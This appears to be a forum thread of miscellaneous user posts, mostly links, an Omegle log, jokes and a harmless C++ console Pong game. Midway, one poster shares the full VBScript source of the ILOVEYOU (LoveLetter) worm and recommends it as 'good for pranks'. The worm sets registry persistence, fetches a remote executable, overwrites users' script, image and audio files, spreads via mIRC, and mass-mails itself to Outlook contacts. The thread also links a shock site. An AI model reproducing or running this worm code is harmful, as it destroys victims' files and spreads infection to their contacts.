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[Daniellynet]

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[2pac2furious]

[url]http://www.facepunch.com/showthread.php?t=111767[/url]

[Klownox]

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[Joh]

Today, I was chatting with an amazing guy online. He was perfect for me. After five hours he told me he loved me and I said it back. So than we decided to trade nudes. I sent mine. Within two seconds my niece calls, laughing her ass off, telling me how weird my birthmark is. FML

[Miro]

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[breadlord]

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[LewisDaCool3]

[url]http://upload.wikimedia.org/wikipedia/commons/2/23/Nice_biscuit.jpg[/url]

[himlok]

[url]www.facepunch.on.nimp.org[/url]

[Grape Crunch]

[url]http://tbn2.google.com/images?q=tbn:-VzemP0yYyi43M:http://www.xgn.nl/images/boxarts/360/big/skate-2.jpg[/url]

[b00ce]

[img]http://i167.photobucket.com/albums/u125/booce/Uhjellydoughnut.png[/img]

Edit:

[QUOTE=Apelata;15839401][url]www.facepunch.on.nimp.org[/url][/QUOTE]

[IMG]http://i165.photobucket.com/albums/u80/EzekielArkady/ackbar.jpg[/IMG]

[cyberzombie]

[url]www.smouch.net/lol/[/url]

[ica|kvantum]

boobies

[omfgnex]

[url]http://www.youtube.com/watch?v=NC9NXyuh5CU[/url]

[Brunte]

/script DEFAULT_CHAT_FRAME:AddMessage("Shift-click this to place a link into a chat message: \124cffe5cc80\124Hitem:192:0:0:0:0:0:0:0:0\124h[Martin Thunder]\124h\124r");

[Carne]

[url]http://www.youtube.com/watch?v=gxMzAiiS2TM[/url]

[Kaz]

Connecting to server...
Looking for someone you can chat with. Hang on.
You're now chatting with a random stranger. Say hi!
A word of advice: "asl" is boring. Please find something more interesting to talk about!
You: :O
You: hello
You: anyone there
You: ?
Stranger: hello
Stranger: i hope you are female
You: no
You: I am not
You: sorry
Your conversational partner has disconnected.

[urhr]

The below
This was the super-virus that infected millions of computers [media]http://www.youtube.com/watch?v=Qjll0Oo9E0o[/media]

save it in notepad to see what I mean...but NEVER save it as "name.bat" cuz if you open it...your fucked

 rem  barok -loveletter(vbe) <i hate go to school>
 rem    by: spyder  /  [e-mail]  /  @GRAMMERSoft Group  /  Manila,Philippines
 On Error Resume Next
 dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
 eq=""
 ctr=0
 Set fso = CreateObject("Scripting.FileSystemObject")
 set file = fso.OpenTextFile(WScript.ScriptFullname,1)
 vbscopy=file.ReadAll
 main()

 sub main()
 On Error Resume Next
 dim wscr,rr
 set wscr=CreateObject("WScript.Shell")
 rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
 if (rr>=1) then
 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
 end if
 Set dirwin = fso.GetSpecialFolder(0)
 Set dirsystem = fso.GetSpecialFolder(1)
 Set dirtemp = fso.GetSpecialFolder(2)
 Set c = fso.GetFile(WScript.ScriptFullName)
 c.Copy(dirsystem&"\MSKernel32.vbs")
 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 regruns()
 html()
 spreadtoemail()
 listadriv()
 end sub

 sub regruns()
 On Error Resume Next
 Dim num,downread
 regcreate
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
 regcreate
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
 downread=""
 downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
 if (downread="") then
 downread="c:\"
 end if
 if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
 Randomize
 num = Int((4 * Rnd) + 1)
 if num = 1 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
 elseif num = 2 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
 elseif num = 3 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
 elseif num = 4 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX .exe"
 end if
 end if
 if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage","about:blank"
 end if
 end sub

 sub listadriv
 On Error Resume Next
 Dim d,dc,s
 Set dc = fso.Drives
 For Each d in dc
 If d.DriveType = 2 or d.DriveType=3 Then
 folderlist(d.path&"\")
 end if
 Next
 listadriv = s
 end sub

 sub infectfiles(folderspec)
 On Error Resume Next
 dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
 set f = fso.GetFolder(folderspec)
 set fc = f.Files
 for each f1 in fc
 ext=fso.GetExtensionName(f1.path)
 ext=lcase(ext)
 s=lcase(f1.name)
 if (ext="vbs") or (ext="vbe") then
 set ap=fso.OpenTextFile(f1.path,2,true)
 ap.write vbscopy
 ap.close
 elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
 set ap=fso.OpenTextFile(f1.path,2,true)
 ap.write vbscopy
 ap.close
 bname=fso.GetBaseName(f1.path)
 set cop=fso.GetFile(f1.path)
 cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
 elseif(ext="jpg") or (ext="jpeg") then
 set ap=fso.OpenTextFile(f1.path,2,true)
 ap.write vbscopy
 ap.close
 set cop=fso.GetFile(f1.path)
 cop.copy(f1.path&".vbs")
 fso.DeleteFile(f1.path)
 elseif(ext="mp3") or (ext="mp2") then
 set mp3=fso.CreateTextFile(f1.path&".vbs")
 mp3.write vbscopy
 mp3.close
 set att=fso.GetFile(f1.path)
 att.attributes=att.attributes+2
 end if
 if (eq<>folderspec) then
 if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
 set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"
 scriptini.WriteLine ";mIRC Script"
 scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
 scriptini.WriteLine "    corrupt... WINDOWS will affect and will not run correctly. thanks"
 scriptini.WriteLine ";"
 scriptini.WriteLine ";Khaled Mardam-Bey"
 scriptini.WriteLine ";http://www.mirc.com"
 scriptini.WriteLine ";"
 scriptini.WriteLine "n0=on 1:JOIN:#:{"
 scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2=  /.dcc send $nick"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
 scriptini.WriteLine "n3=}"
 scriptini.close
 eq=folderspec
 end if
 end if
 next
 end sub

 sub folderlist(folderspec)
 On Error Resume Next
 dim f,f1,sf
 set f = fso.GetFolder(folderspec)
 set sf = f.SubFolders
 for each f1 in sf
 infectfiles(f1.path)
 folderlist(f1.path)
 next
 end sub

 sub regcreate(regkey,regvalue)
 Set regedit = CreateObject("WScript.Shell")
 regedit.RegWrite regkey,regvalue
 end sub

 function regget(value)
 Set regedit = CreateObject("WScript.Shell")
 regget=regedit.RegRead(value)
 end function

 function fileexist(filespec)
 On Error Resume Next
 dim msg
 if (fso.FileExists(filespec)) Then
 msg = 0
 else
 msg = 1
 end if
 fileexist = msg
 end function

 function folderexist(folderspec)
 On Error Resume Next
 dim msg
 if (fso.GetFolderExists(folderspec)) then
 msg = 0
 else
 msg = 1
 end if
 fileexist = msg
 end function

 sub spreadtoemail()
 On Error Resume Next
 dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
 set regedit=CreateObject("WScript.Shell")
 set out=WScript.CreateObject("Outlook.Application")
 set mapi=out.GetNameSpace("MAPI")
 for ctrlists=1 to mapi.AddressLists.Count
 set a=mapi.AddressLists(ctrlists)
 x=1
 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then
 regv=1
 end if
 if (int(a.AddressEntries.Count)>int(regv)) then
 for ctrentries=1 to a.AddressEntries.Count
 malead=a.AddressEntries(x)
 regad=""
 regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="")
 then
 set male=out.CreateItem(0)
 male.Recipients.Add(malead)
 male.Subject = "ILOVEYOU"
 male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
 male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
 regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if
 x=x+1
 next
 regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else
 regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if
 next
 Set out=Nothing
 Set mapi=Nothing
 end sub

 sub html
 On Error Resume Next
 dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
 NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META
 NAME=@-@Author@-@ CONTENT=@-@spyder ?-? [e-mail] ?-?
 @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META
 NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
 "<?-?HEAD><BODY
 ONMOUSEOUT=@[e-mail]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
 -#,#-#main#-#)@-@ "&vbcrlf& _
 "ONKEYDOWN=@[e-mail]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
 -#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
 "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>-
 Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
 "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
 BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
 "<?-?BODY><?-?HTML>"&vbcrlf& _
 "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _
 "if (window.screen){var wi=screen.availWidth;var
 hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ "?-??-?-->"&vbcrlf& _
 "<?-?SCRIPT>"&vbcrlf& _
 "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _
 "on error resume next"&vbcrlf& _
 "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _
 "code="
 dta2="set fso=CreateObject(@[e-mail]@-@)"&vbcrlf& _
 "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
 "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
 "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
 "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set
 wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf&
 _
 "wri.close"&vbcrlf& _
 "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424)
 then"&vbcrlf& _
 "aw=0"&vbcrlf& _
 "end if"&vbcrlf& _
 "if (aw=1) then"&vbcrlf& _
 "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _
 "end if"&vbcrlf& _
 "end if"&vbcrlf& _
 "Set regedit = CreateObject(@[e-mail]@-@)"&vbcrlf& _
 "regedit.RegWrite
 @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _
 "<?-?SCRIPT>"
 dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
 dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
 dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
 dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
 dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
 dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
 set fso=CreateObject("Scripting.FileSystemObject")
 set c=fso.OpenTextFile(WScript.ScriptFullName,1)
 lines=Split(c.ReadAll,vbcrlf)
 l1=ubound(lines)
 for n=0 to ubound(lines)
 lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
 lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then
 lines(n)=chr(34)+lines(n)+chr(34)
 else
 lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if
 next
 set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close
 set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5
 d.write join(lines,vbcrlf)
 d.write vbcrlf
 d.write dt6
 d.close
 end sub

Good for pranks!

[Mooe94]

[url]http://www.facepunch.com/showthread.php?t=766618[/url]

[StoolTable]

[url]http://www.youtube.com/watch?v=VsmLOwveisw&feature=related[/url]

[Kaz]

[QUOTE=Apelata;15839401][url]www.facepunch.on.nimp.org[/url][/QUOTE]Oh you sonna bitch!

[AFatPenguin]

Nedm

[3com111]

I’m testing a “Scheduled” comic. If all goes well, I can spend a lot less time managing this site.

[Funcoot]

[url]http://img.imagedash.com/1MjV.png[/url]

[Majorminor81]

[url]http://www.youtube.com/watch?v=TJj8zD2Atyg[/url]

(was on a "you rage you lose" thread)

[TacoNinja]

TacoNinja, you do not have permission to access this page. This could be due to one of several reasons:

1. Your user account may not have sufficient privileges to access this page. Are you trying to edit someone else's post, access administrative features or some other privileged system?
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[krepo]

[media]http://www.youtube.com/watch?v=ZFfIZSh_chg[/media]

[Levithan II]

[URL=http://img4.imageshack.us/i/ohnoooo.gif/][IMG]http://img4.imageshack.us/img4/9241/ohnoooo.gif[/IMG][/URL]

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[swebonny]

#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <iostream>
#include <ctime>
using namespace std;

int width = 55;
int height = 35;
const float maxSpeed = 1.8f;
const int delay = 50;

HANDLE hOut;

struct pad {
float x, y;
int size;
float ox, oy;
float vx;

pad(int _x, int _y, int _size) {
x = float( _x );
y = float( _y );
size = _size;
ox = float( _x );
oy = float( _y );
}

void draw() {
COORD p;

p.X = int( ox ) - size ;
p.Y = int( oy );

SetConsoleCursorPosition( hOut, p );

for (int i = -size; i < size; ++i)
cout << ' ';

p.X = int( x ) - size;
p.Y = int( y );

SetConsoleCursorPosition( hOut, p );

SetConsoleTextAttribute( hOut, 10 );

for (int i = -size; i < size; ++i)
cout << '=';

SetConsoleTextAttribute( hOut, 15 );

ox = x;
oy = y;
}
};

struct ball {
float x, y, ox, oy;
float vx, vy;

ball(int _x, int _y) {
x = float( _x );
y = float( _y );
ox = float( x );
oy = float( y );
vx = vy = 0;
}

void draw() {
COORD p;

p.X = int(ox);
p.Y = int(oy);

SetConsoleCursorPosition( hOut, p );

cout << ' ';

p.X = int(x);
p.Y = int(y);

SetConsoleCursorPosition( hOut, p );
SetConsoleTextAttribute( hOut, 12 );

cout << '0';

SetConsoleTextAttribute( hOut, 15 );

ox = x;
oy = y;

}
};

void reset(pad &you, pad &comp, ball &b, bool &started, int &you_score, int &comp_score) {
b.x = float( width / 2 - 1 );
b.y = float( height / 2 );

you.x = comp.x = float( width / 2 );
comp.vx = 0.0f;

b.vx = float(rand() % 3) - 1.5f;
b.vy = 1;

started = false;

COORD p;

p.X = 0;
p.Y = height;

SetConsoleCursorPosition( hOut, p );
cout << "\n Your score: " << you_score << "\tComp score: " << comp_score << '\n';
}

int main() {
hOut = GetStdHandle( STD_OUTPUT_HANDLE );

srand( unsigned int(time(NULL)) );

SMALL_RECT DisplayArea = {0, 0, width, height + 3};
SetConsoleWindowInfo(hOut, TRUE, &DisplayArea);

// Hide Console Cursor

CONSOLE_CURSOR_INFO ConCurInf;

ConCurInf.dwSize = 10;
ConCurInf.bVisible = false;

SetConsoleCursorInfo(hOut, &ConCurInf);

// Draw border

SetConsoleTextAttribute( hOut, 15 );

for (int i = 0; i < width - 1; ++i)
cout << '-';

for (int i = 0; i < height - 1; ++i) {
cout << "\n|";

for (int i = 0; i < width - 3; ++i)
cout << ' ';

cout << "|";
}

cout << '\n';

for (int i = 0; i < width - 1; ++i)
cout << '-';

cout << "\n Your score: 0\tComp score: 0\n";

for (int i = 0; i < width - 1; ++i)
cout << '-';

// End drawing border

bool started = false;

pad you(width / 2, height - 2, 4);
pad comp(width / 2, 2, 4);

ball b(width / 2 - 1, height / 2);

int you_score = 0, comp_score = 0;

// Ball's start velocity, always starts towards you
b.vx = float(rand() % 3) - 1.5f;
b.vy = 1;

comp.vx = 0;

while ( true ) {

if ( started ) {

// Arrow keys
if ( GetAsyncKeyState(VK_LEFT) ) {
you.x -= 2;
} else if ( GetAsyncKeyState(VK_RIGHT) ) {
you.x += 2;
}

// Move comp.x towards the ball
comp.vx -= float(comp.x - b.x) / 10.0f;
comp.vx *= 0.83f;

// Apply comp's velocity to current location
comp.x += comp.vx;

// Add player boundaries
if ( you.x < you.size + 1 ) {
you.x = float ( you.size + 1 );
} else if ( you.x > width - you.size - 2 ) {
you.x = float ( width - you.size - 2 );
}

// Add comp boundaries
if ( comp.x < comp.size + 1 ) {
comp.x = float ( comp.size + 1 );
} else if ( comp.x > width - comp.size - 2) {
comp.x = float ( width - comp.size - 2 );
}

// Make sure ball doesn't exceed it's maximum speed
if ( b.vx < -maxSpeed ) {
b.vx = -maxSpeed;
} else if ( b.vx > maxSpeed ) {
b.vx = maxSpeed;
}

// Apply velocity to balls current location
b.x += b.vx;
b.y += b.vy;

// Check if ball is hitting your pad
if ( b.y >= you.y - 1 && b.y <= you.y + 1 ) {
if (b.x > you.x - you.size && b.x < you.x + you.size) {
b.vy *= -1;
b.vx += float(b.x - you.x) / 3;
b.y = you.y - 1;
}
}

// Check if ball is hitting the computer pad
if ( b.y <= comp.y + 1 && b.y >= comp.y - 1 ) {
if (b.x > comp.x - comp.size && b.x < comp.x + comp.size) {
b.vy *= -1;
b.vx += float(b.x - comp.x) / 3;
b.y = comp.y + 1;
}
}

// Check if ball has gone out of boundaries (a player won/lost)
if ( b.y >= height ) {
++comp_score;
reset( you, comp, b, started, you_score, comp_score );
} else if ( b.y <= 0 ) {
++you_score;
reset( you, comp, b, started, you_score, comp_score );
}

if ( b.x <= 1 ) {
b.vx *= -1;
b.x = 1.0f;
} else if ( b.x >= width - 3 ) {
b.vx *= -1;
b.x = float( width - 3 );
}
} else {
// Wait for user to press the space bar
COORD p;

p.X = int ( width / 2 - 16 );
p.Y = int ( height / 1.5f );

SetConsoleCursorPosition( hOut, p );

cout << "Press the space bar to start . .";

if ( GetAsyncKeyState(VK_SPACE) ) {
COORD p;

p.X = int ( width / 2 - 16 );
p.Y = int ( height / 1.5f );

SetConsoleCursorPosition( hOut, p );

cout << " ";
started = true;
}
}

// Draw all objects
you.draw();
comp.draw();
b.draw();

// Delay
Sleep( delay );
}
}

[dannass]

was playing a pcw on counter strike :PP

gais r uhigh hurr hurr